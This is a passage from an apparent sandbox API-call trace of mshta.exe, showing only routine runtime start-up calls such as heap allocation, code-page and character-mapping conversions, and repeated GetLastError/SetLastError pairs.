(HeapHandle=0x7c0000, Flags=0x0, Size=0x220) returned 0x7c13e8 [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30fa34 | out: lpCPInfo=0x30fa34) returned 1 [0040.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30f500 | out: lpCPInfo=0x30f500) returned 1 [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x30f490 | out: lpCharType=0x30f490) returned 1 [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x30f278, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0040.850] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x30f514 | out: lpCharType=0x30f514) returned 1 [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x30f218, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⴍЍĀ") returned 256 [0040.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⴍЍĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0040.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⴍЍĀ", cchSrc=256, lpDestStr=0x30f008, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0040.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x30f814, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿy#\r\x04Lú0", lpUsedDefaultChar=0x0) returned 256 [0040.850] GetLastError () returned 0x0 [0040.850] SetLastError (dwErrCode=0x0) [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x30f914, cbMultiByte=256, lpWideCharStr=0x30f238, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⷭЍĀ") returned 256 [0040.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⷭЍĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0040.850] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ葨׼溂\x12ⷭЍĀ", cchSrc=256, lpDestStr=0x30f028, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0040.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x30f714, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿy#\r\x04Lú0", lpUsedDefaultChar=0x0) returned 256 [0040.851] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12b0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.851] GetLastError () returned 0x0 [0040.851] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.852] SetLastError (dwErrCode=0x0) [0040.852] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.853] SetLastError (dwErrCode=0x0) [0040.853] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.854] SetLastError (dwErrCode=0x0) [0040.854] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.855] SetLastError (dwErrCode=0x0) [0040.855] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.856] SetLastError (dwErrCode=0x0) [0040.856] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.857] GetLastError () returned 0x0 [0040.857] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.858] GetLastError () returned 0x0 [0040.858] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.859] SetLastError (dwErrCode=0x0) [0040.859] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.860] SetLastError (dwErrCode=0x0) [0040.860] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.861] GetLastError () returned 0x0 [0040.861] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.862] GetLastError () returned 0x0 [0040.862] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.863] GetLastError () returned 0x0 [0040.863] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError (dwErrCode=0x0) [0040.864] GetLastError () returned 0x0 [0040.864] SetLastError 